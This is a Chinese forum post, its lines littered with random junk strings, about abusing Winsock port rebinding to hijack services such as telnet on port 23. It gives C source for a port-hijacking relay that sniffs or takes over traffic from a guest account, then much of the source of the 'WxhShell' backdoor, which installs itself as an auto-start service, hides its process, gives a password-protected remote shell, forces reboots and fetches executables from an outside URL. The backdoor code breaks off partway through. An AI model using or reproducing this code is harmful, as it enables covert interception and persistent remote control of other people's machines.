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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: HBOyiIm Q  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7LrmI~P  
b\`S[  
  saddr.sin_family = AF_INET; `a MU2  
9>9EZ?4m  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Z#H<+S(  
 =s4(Y  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Lm2!<<<  
A|+QUPD  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 /IRXk[  
KB](W  
  这意味着什么?意味着可以进行如下的攻击: [ C0v -  
7LVG0A2>7  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 <OGG(dI  
If,p!L  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 0Z6geBMc  
I@9'd$YY  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Is7BJ f  
R'tKJ_VI  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  r niM[7K  
2NMs-Zs  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 %k1Pyv;]  
u>"0 >U  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 K$M+"#./  
7:<w)Al!  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *$vH]>)p  
*|dr-e_j  
  #include V9v20iX  
  #include XhM!pSl\  
  #include TMj;NSc3  
  #include    I!S Eb  
  DWORD WINAPI ClientThread(LPVOID lpParam);   !>`Fg>uy  
  int main() DpgTm&}-  
  { _&#{cCo:  
  WORD wVersionRequested; 'q)g, 2B%  
  DWORD ret; G7nhUg  
  WSADATA wsaData; vNv!fkl  
  BOOL val; !&rd#ZBn  
  SOCKADDR_IN saddr; ~pQN#C)CO>  
  SOCKADDR_IN scaddr; MWh Y&I+  
  int err; 'V]&X.=zC  
  SOCKET s; "GK9Y  
  SOCKET sc; m|qktLx  
  int caddsize; 1Hr}n6s  
  HANDLE mt; s;Gd`-S>d  
  DWORD tid;   R2Fjv@Egk  
  wVersionRequested = MAKEWORD( 2, 2 ); VIT|#  
  err = WSAStartup( wVersionRequested, &wsaData ); ",$_\l  
  if ( err != 0 ) { pZ.b X  
  printf("error!WSAStartup failed!\n"); :dSda,!z  
  return -1; Mu? |<#s  
  } wu)+n\mt'  
  saddr.sin_family = AF_INET; 5 aA* ~\  
   Kgu8E:nL  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 "r-P[EKpL  
PW5]+ |#  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); u S1O-Q>  
  saddr.sin_port = htons(23); A I.(}W4]  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "=djo+y  
  { 4#B'pJMw9  
  printf("error!socket failed!\n"); \l~^dn}  
  return -1; i41~-?Bc  
  } SeD}H=,@  
  val = TRUE; T- en|.  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ;miif  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) lT|Gkm<G  
  { c1yRy|  
  printf("error!setsockopt failed!\n"); <&3P\aM>  
  return -1; LjI`$r.B  
  } <.6rl  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; UTD_rQ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 hx:q@[ +J/  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 }Kp!,  
f+h\RE=BGt  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ,CfslhO{j  
  { V*giF`gq  
  ret=GetLastError(); Q/+`9z+c  
  printf("error!bind failed!\n"); Muo E~K2  
  return -1; <\^0!v  
  } QqA=QTZ}  
  listen(s,2); rAH!%~  
  while(1) bhqSqU}6~  
  { h_%q`y,  
  caddsize = sizeof(scaddr); tVAi0`DV  
  //接受连接请求 heVk CM :  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); "v8p<JfB`  
  if(sc!=INVALID_SOCKET) V?uT5.B2  
  { D'g,<-ahl  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); NKu[6J?)  
  if(mt==NULL) )}ev;37<C  
  { >'*%wf[{  
  printf("Thread Creat Failed!\n"); H7zN|NdNw  
  break; jRJG .hcB5  
  } +%JBr+1#\  
  } 5=pE*ETJ  
  CloseHandle(mt); Q^(CqQo!<  
  } ZL( j5E  
  closesocket(s); \}Jznzx;  
  WSACleanup(); !dLu($P  
  return 0; 0k]ApW  
  }   ?jmP] MM  
  DWORD WINAPI ClientThread(LPVOID lpParam) DrK]U}3fh"  
  { 1q6)R/P  
  SOCKET ss = (SOCKET)lpParam; vK',!1]y  
  SOCKET sc; uX_H;,n  
  unsigned char buf[4096]; o(*\MT t?  
  SOCKADDR_IN saddr; ~g{j)"1  
  long num; *~vB6V|1  
  DWORD val; Er;/ zxg9p  
  DWORD ret; a:BW*Hy{\  
  //如果是隐藏端口应用的话,可以在此处加一些判断 )1s5vNVa  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   )?F&`+  
  saddr.sin_family = AF_INET; e\%,\ uV}  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); VOEV[?>ss  
  saddr.sin_port = htons(23); 4p:d#,?r  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Bs"D<r&ro  
  { m2PUU/8B/  
  printf("error!socket failed!\n"); uo#1^`P  
  return -1; J(7#yg%5  
  } !oWB5x~:P  
  val = 100; U,Z\)+-R  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) '`>%RZ]  
  { cQ8[XNa  
  ret = GetLastError(); ~gDYb#p  
  return -1; F.[%0b E  
  } lL D#|T3  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \V? .^/  
  { Q:-T' xk@  
  ret = GetLastError(); TnF~'RZYb  
  return -1; )DgXsT  
  } 1 G>Ud6(3<  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) %'Cj~An  
  { {9@D zP  
  printf("error!socket connect failed!\n"); &6eo;8 `U  
  closesocket(sc); 2W,9HSu8  
  closesocket(ss); vV,TT%J8D  
  return -1; y]db]pP5  
  } )UzJ2Pa<+_  
  while(1) rzf Lp  
  { ~; 9HGtg  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 :u>RyKu|&R  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Z-iU7 O  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 %7#<K\])  
  num = recv(ss,buf,4096,0); ;UQGi}?CD  
  if(num>0) %_(vSpk  
  send(sc,buf,num,0); FM {f{2j  
  else if(num==0) $L*gtZ  
  break; q0.!T0i  
  num = recv(sc,buf,4096,0); cl& w/OJ#  
  if(num>0) (i~UH04r>s  
  send(ss,buf,num,0); c4H6I~2Na  
  else if(num==0) =7 l uV_5  
  break; Y2`sL,'h  
  } I dK*IA4  
  closesocket(ss); \Zj%eW!m  
  closesocket(sc); 7^gO>2~  
  return 0 ; jPWONz(#  
  } &*`dRIQ]  
GwX)~.i  
C QkY6  
========================================================== V(';2[)  
m Q2i$ 0u  
下边附上一个代码,,WXhSHELL & NYaKu,}  
JW>k8QjyN  
========================================================== CI W4E  
6.@.k  
#include "stdafx.h" m{IlRf'  
zMSwU]4I!  
#include <stdio.h> cMT7Bd  
#include <string.h> +Mo4g2W  
#include <windows.h> S;~eI8gQ"  
#include <winsock2.h> 4Mt3<W5  
#include <winsvc.h> R@c])\^]  
#include <urlmon.h> )OI}IWDl  
kckRHbeU  
#pragma comment (lib, "Ws2_32.lib") DyC*nE;  
#pragma comment (lib, "urlmon.lib") 1Lb)S@Q`*R  
<LbLMV  
#define MAX_USER   100 // 最大客户端连接数 lC5zqyG  
#define BUF_SOCK   200 // sock buffer #u&fUxM:AS  
#define KEY_BUFF   255 // 输入 buffer +7.|1x;C  
KuR]X``2  
#define REBOOT     0   // 重启 zluq2r  
#define SHUTDOWN   1   // 关机 \BHZRytQF  
,r B(WKU  
#define DEF_PORT   5000 // 监听端口  /YJo"\7  
01.q9AGy  
#define REG_LEN     16   // 注册表键长度 GfONm6A  
#define SVC_LEN     80   // NT服务名长度 L3eF BF/  
$kUB%\`  
// 从dll定义API P(aBJ*((~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); UC`h o%OBF  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); KL$.E!d  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >|3Y+X  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?!RbS#QV}  
f^pBXz9&=  
// wxhshell配置信息 um9&f~M  
struct WSCFG { ]it. R-  
  int ws_port;         // 监听端口 Cy-p1s  
  char ws_passstr[REG_LEN]; // 口令 ZF>:m>  
  int ws_autoins;       // 安装标记, 1=yes 0=no -d ,D!  
  char ws_regname[REG_LEN]; // 注册表键名 [ja^Bhu  
  char ws_svcname[REG_LEN]; // 服务名 Oo|JIr7i  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 b7.7@Ly y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 o/-RGLzAo  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8m0*89HEu  
int ws_downexe;       // 下载执行标记, 1=yes 0=no j2G^sj"|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]]|#+$ ~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =M1}HF,7>l  
y[7M(K  
}; , z\Qd07u  
]L3U2H`7  
// default Wxhshell configuration wDvu2iC=  
struct WSCFG wscfg={DEF_PORT, u!X~!h-6~  
    "xuhuanlingzhe", v!I z&M:z  
    1, )@! fLA T  
    "Wxhshell", !oH{=.w  
    "Wxhshell", }83 8F&  
            "WxhShell Service", .$\-{)  
    "Wrsky Windows CmdShell Service", 2J=`"6c  
    "Please Input Your Password: ", =%` s-[5b  
  1, d(^8#4  
  "http://www.wrsky.com/wxhshell.exe", Bz'.7" ":0  
  "Wxhshell.exe" 0moAmfc  
    }; :Wbp|:N0  
k| OM?\  
// 消息定义模块 Do4hg $:40  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; kn:hxdZ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; NfDS6i.Fqp  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Zj[m  
char *msg_ws_ext="\n\rExit."; &$s:h5HoX  
char *msg_ws_end="\n\rQuit."; lw3H 8[  
char *msg_ws_boot="\n\rReboot..."; zY/Oh9`=v  
char *msg_ws_poff="\n\rShutdown..."; pCt2 -aam  
char *msg_ws_down="\n\rSave to "; i ;B^I8  
>lIzeEW#  
char *msg_ws_err="\n\rErr!"; f r~Eb'8  
char *msg_ws_ok="\n\rOK!"; O _9r-Zt^  
xoVd[c!   
char ExeFile[MAX_PATH]; \PS]c9@,rc  
int nUser = 0; c#x~x  
HANDLE handles[MAX_USER]; <lzC|>BG  
int OsIsNt; y A5h^I  
lITd{E,+r  
SERVICE_STATUS       serviceStatus; 82FEl~,^E  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; h[dJNawL  
QPm[4Fd{G  
// 函数声明 7 7bwYKIn  
int Install(void); 2S_u/32]W  
int Uninstall(void); 4A+g-{d  
int DownloadFile(char *sURL, SOCKET wsh); FWu:5fBZY  
int Boot(int flag); Sfe[z=7S  
void HideProc(void); $7YZ;=~B  
int GetOsVer(void); P[fy  
int Wxhshell(SOCKET wsl); |mMsU,*gB  
void TalkWithClient(void *cs); bIm4s  
int CmdShell(SOCKET sock); 4L>8RiiQE;  
int StartFromService(void); e!J5h <:  
int StartWxhshell(LPSTR lpCmdLine); >r`O@`^U  
e/hCYoS1n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); yr'-;-u  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "d<uc j  
6"iNh)  
// 数据结构和表定义 EY]H*WJJ  
SERVICE_TABLE_ENTRY DispatchTable[] = *  1}dk`-  
{ =x+1A)Q  
{wscfg.ws_svcname, NTServiceMain}, ~Bl,_?CBr  
{NULL, NULL} d>u^ 7:  
}; mh4 VQ9  
 dF `7]  
// 自我安装 ,q%X`F rc  
int Install(void) qGq]E `O  
{ A< .5=E,/  
  char svExeFile[MAX_PATH]; L:C/PnIV  
  HKEY key; 1tTP;C l#  
  strcpy(svExeFile,ExeFile); Foq3==*p  
`XF[A8@h  
// 如果是win9x系统,修改注册表设为自启动 ,m*HRUY  
if(!OsIsNt) { 9+ Mj$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q=! lbW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); > 3x^jh  
  RegCloseKey(key); $cn8]*Z =  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Mx w-f4j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Qe F:s|[  
  RegCloseKey(key); Ak3^en  
  return 0; y# \"yykB  
    } Lea4-Gc  
  } l`~$cK!  
} t>quY$}4  
else {  6 wd  
'{0O!y[H6  
// 如果是NT以上系统,安装为系统服务 YKUAI+ks  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1<~n2}   
if (schSCManager!=0) <mP_K^9c  
{ 0Gj/yra9MO  
  SC_HANDLE schService = CreateService j&dCP@G  
  ( ()j)}F#Z`  
  schSCManager, 1/1oT  
  wscfg.ws_svcname, \4qF3#  
  wscfg.ws_svcdisp, K"[jrvZ=  
  SERVICE_ALL_ACCESS, =W2.Nc  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , q=e;P;u  
  SERVICE_AUTO_START, =oXlJ[)h  
  SERVICE_ERROR_NORMAL, 1/\Xngd  
  svExeFile, `hY%HzV=  
  NULL, Qxy ~ %;X  
  NULL,  DEu0Z  
  NULL, \RDqW+,  
  NULL, el<Gd.p.d  
  NULL 1\Bh-tzB  
  ); }^H(EHE  
  if (schService!=0) 5Bq;Vb  
  { d$ o m\@  
  CloseServiceHandle(schService); _!|$i  
  CloseServiceHandle(schSCManager); t{UWb~"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2@T0QJ  
  strcat(svExeFile,wscfg.ws_svcname); n[y=DdiKGS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?lqqu#;8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Q,9KLi3  
  RegCloseKey(key); T-n>+G{  
  return 0; ~YNzSkz  
    } z1tD2jL_  
  } pqvl,G5  
  CloseServiceHandle(schSCManager); (=rDt93J  
} E\Wd*,/v)  
} _`C|K>:  
kL s{B  
return 1; Y&M{7  
} x$Wtkb0<  
StR)O))I  
// 自我卸载 BGfwgI.m  
int Uninstall(void) ~Gc@#Msj  
{ >g+Y//Z  
  HKEY key; ej7N5~!,s  
+R$;LtR  
if(!OsIsNt) { AvIheR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G@e;ms1  
  RegDeleteValue(key,wscfg.ws_regname); r.@UH-2c  
  RegCloseKey(key); q~18JB4WPJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s,C>l_4-  
  RegDeleteValue(key,wscfg.ws_regname); >yenuqIKQv  
  RegCloseKey(key); #mioT",bm=  
  return 0; H9_>a-> )~  
  } L kafB2y  
} IN;!s#cl:  
} UC`sq-n  
else { ?3LV$S)U  
,: z]15fX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); VAheus  
if (schSCManager!=0) 2fayQY xD  
{ %26HB w=JF  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <b4} B   
  if (schService!=0) _;x`6LM  
  { f[`&3+  
  if(DeleteService(schService)!=0) { ~6u|@pnI  
  CloseServiceHandle(schService); cWQ &zc  
  CloseServiceHandle(schSCManager); O d6'bO;G  
  return 0; taVK&ohWx  
  } (0_]=r=q  
  CloseServiceHandle(schService); jA@ uV,w  
  } $rjm MSxi  
  CloseServiceHandle(schSCManager); bQ?Vh@j(M  
} m-[xrVV  
} 6 P9#6mZ  
iN Lt4F[i  
return 1; ),o=~,v:  
} \/wk!mWV@  
BD.l5 ~:  
// 从指定url下载文件 :hB6-CZkqN  
int DownloadFile(char *sURL, SOCKET wsh) A[Ce3m  
{ &RS)U72  
  HRESULT hr; ndB qXS  
char seps[]= "/"; *!NW!,R  
char *token; 9$(N q  
char *file; otdv;xI9  
char myURL[MAX_PATH]; ykx13|iR  
char myFILE[MAX_PATH]; gpbdK?  
MD 0d  
strcpy(myURL,sURL); INCanE`+  
  token=strtok(myURL,seps); !t)uRJ   
  while(token!=NULL) {)Zz4  
  { g p9;I*!  
    file=token; +5GC?cW  
  token=strtok(NULL,seps); +Z9ua%,3%  
  } ncsk(`lo  
0|\JbM  
GetCurrentDirectory(MAX_PATH,myFILE); 1?TgI0HS  
strcat(myFILE, "\\"); ,F'y:px  
strcat(myFILE, file); ]RVme^=  
  send(wsh,myFILE,strlen(myFILE),0); `]&'yt  
send(wsh,"...",3,0); bL:+(/:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); A6;[r #C  
  if(hr==S_OK) ]3U|K .G  
return 0; /HSg)  
else xy)W_~Mk  
return 1; :W'.SRD  
JV;VR9-l  
} -S@ ys  
>G0ihhVt  
// 系统电源模块 ]VN1Y)  
int Boot(int flag) =*?XZA)c  
{ nwDW<J{f|U  
  HANDLE hToken; ^sJp!hi4=)  
  TOKEN_PRIVILEGES tkp; U|+`Eth8(  
ccW{88II7w  
  if(OsIsNt) { li`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); p2GN93,u@P  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :' !_PN  
    tkp.PrivilegeCount = 1; p|r>tBv?x  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `Z`o[]%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); r_V^sX  
if(flag==REBOOT) { ?G5,x  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) T< <N U"n  
  return 0; YL4yT`*  
} 'Te'wh=Y  
else { |L)qH"Eo  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) kgX"I ?>d  
  return 0; 0M}Ql5+h,  
} i8/"|+Z  
  } 0w$1Yx~C  
  else { ',Oc +jLR  
if(flag==REBOOT) { %A@U7gqc  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %8"Aq  
  return 0; i?F~]8  
} mndNkK5o  
else { H//,qxDc  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4d-"kx3X  
  return 0; ;p( Doy)i  
} BLo=@C%w5  
} "L)?dlb6T  
Nu}Zsb|{  
return 1; !`dn# j  
} rIj B{X{Z  
({t6Cbw  
// win9x进程隐藏模块 ( 2KopL  
void HideProc(void) I\6^]pi,  
{ B{Lzgw u;  
l'\m'Ioh  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); tH4+S?PI  
  if ( hKernel != NULL ) QJH~YV\%  
  { IkLcL8P^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); E-#}.}i5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); a&`Lfw"  
    FreeLibrary(hKernel); ]u >~:  
  } `[4{]jX+<  
Z@#k ivcpz  
return; rdm&YM`J  
} ,HW[l.v  
eOd'i{f@F  
// 获取操作系统版本 mLeK7?GL  
int GetOsVer(void) OWHHN<  
{ UZW)%  
  OSVERSIONINFO winfo; 14Jkr)N  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w 5Yt mnP  
  GetVersionEx(&winfo); `HM?Fc58  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -sk!XWW+  
  return 1; #Ic-?2Gn4<  
  else /. @"wAw:  
  return 0; T C._kAm  
} ;[j)g,7{  
]A:G>K  
// 客户端句柄模块 5SHZRF(. 2  
int Wxhshell(SOCKET wsl) 5q.)K f+  
{ E"Y[k8-:2/  
  SOCKET wsh; Ivc/g,  
  struct sockaddr_in client; sMWNzt  
  DWORD myID; y)+l U  
h!]=)7x;  
  while(nUser<MAX_USER) i}LVBx"K(  
{ $%3%&+z$I  
  int nSize=sizeof(client); ,y*|f0&"~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (, uW-  
  if(wsh==INVALID_SOCKET) return 1; >o!~T}J7  
J?bx<$C@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); CF@j]I@{   
if(handles[nUser]==0) 8}!WJ2[R  
  closesocket(wsh); 'di(5  
else n]P,5  
  nUser++; ^9?IS<N0]  
  } !&vPG>V  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *#CUZJN\  
Jm*wlN [>  
  return 0; sb*)K,U  
} Gmh6|Dsg  
~myY-nEY  
// 关闭 socket O/PO?>@-/  
void CloseIt(SOCKET wsh) xIa8Ac  
{ &X OFc.u  
closesocket(wsh); ]F*fQ Ncjy  
nUser--; 4oRDvn7f&  
ExitThread(0); jB%aHUF;  
} 8~8VoU&  
rE$=~s  
// 客户端请求句柄 PFPZ]XI%F  
void TalkWithClient(void *cs) h_K!ch }  
{ NuC+iC$_/  
[$%O-_x  
  SOCKET wsh=(SOCKET)cs; jq12,R2+)  
  char pwd[SVC_LEN]; C{U"Nsu+1  
  char cmd[KEY_BUFF]; FkY <I]F  
char chr[1]; S;I}:F#5  
int i,j; [,/~*L;7  
[^2c9K^NK  
  while (nUser < MAX_USER) { )V?:qCuY>  
MI\35~JAN  
if(wscfg.ws_passstr) { o==:e  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jdAjCy;s!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BXB ZX@jVk  
  //ZeroMemory(pwd,KEY_BUFF); 7Nt6}${=z  
      i=0; [e;c)XS[  
  while(i<SVC_LEN) { zM2 _z  
Q?]-/v  
  // 设置超时 6h:2,h pE  
  fd_set FdRead; Av_JcH  
  struct timeval TimeOut; g! DJ W  
  FD_ZERO(&FdRead); YzVhNJWpw  
  FD_SET(wsh,&FdRead); ![j?/376  
  TimeOut.tv_sec=8; ;30SnR/  
  TimeOut.tv_usec=0; nb_$g@ 03  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); VQwF9Iq]`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Z=j6c"  
EN;s 8sC!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =WM^i86  
  pwd=chr[0]; 5V@c~1\  
  if(chr[0]==0xd || chr[0]==0xa) { 'j(F=9)  
  pwd=0; 'Uu!K!  
  break; )4e?-?bK!  
  } AS'%Md&I  
  i++; aGq1 YOD[$  
    } q1?}G5a ?  
:B  9>  
  // 如果是非法用户,关闭 socket p;n"zr8U  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2v?fbrC5c  
} D,P{ ,/  
JK'FJ}Z4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); l~Rd\.O  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yr/G1?k%ML  
S^T ><C  
while(1) { ]-"G:r  
f O,5 u;  
  ZeroMemory(cmd,KEY_BUFF); 7oV$TAAf  
P+bA>lJd  
      // 自动支持客户端 telnet标准   !!?TkVyEyM  
  j=0; ~EtwX YkRZ  
  while(j<KEY_BUFF) { a|eHo%Qt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VMIX=gTZ  
  cmd[j]=chr[0]; 7-#   
  if(chr[0]==0xa || chr[0]==0xd) { #Ic)]0L  
  cmd[j]=0; y7~y@2  
  break; o&ETs)n|  
  } +^|_vq^XR  
  j++; Lv UQ&NmY  
    } IRyZ0$r:e\  
'8w>=9Xl  
  // 下载文件 h0a|R4J  
  if(strstr(cmd,"http://")) { #g=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *WaqNMD[%  
  if(DownloadFile(cmd,wsh)) `IV7\}I|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); R9\ )a2  
  else Yhte&,D"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n#^ii/H  
  } h?'~/@  
  else { 'e/wjV  
B,A,5SuMk  
    switch(cmd[0]) { fLS].b]1N  
  L@s_)?x0  
  // 帮助 -}(2}~{e(  
  case '?': { =}zSj64  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); OXJ'-EZH  
    break; 0p]v#z}  
  } @2g <d  
  // 安装 hjD%=Ri0Z  
  case 'i': { %'OY  
    if(Install()) _Wqy,L;J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;2P  
    else }`.d4mm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &EmG\vfE  
    break; {B-*w%}HU  
    } T>68 ,; p  
  // 卸载 ,&.$r/x|?  
  case 'r': { >#VNA^+t  
    if(Uninstall()) LwYWgT\e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z+=M_{`{  
    else 1Li*n6tLX`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); slzB#  
    break; y9b%P]i  
    } <*(^QOM  
  // 显示 wxhshell 所在路径 $[UUf}7L   
  case 'p': { O,JS*jXl  
    char svExeFile[MAX_PATH]; s'|t2`K("  
    strcpy(svExeFile,"\n\r"); pX+4B=*  
      strcat(svExeFile,ExeFile); dXfLN<nD>U  
        send(wsh,svExeFile,strlen(svExeFile),0); S5V:HRj{?  
    break; ocu,qL)W  
    } ,x$^^  
  // 重启 (9R;-3vY:S  
  case 'b': { 6?'7`p  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); te4=  
    if(Boot(REBOOT)) 5|5p -B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $<yhEvv  
    else { P0pBR_:o  
    closesocket(wsh); F$bV}>-1k  
    ExitThread(0); 7[PEiAI  
    } A=3L_ #nO  
    break; :bm%f%gg  
    } vA}_x7}n(  
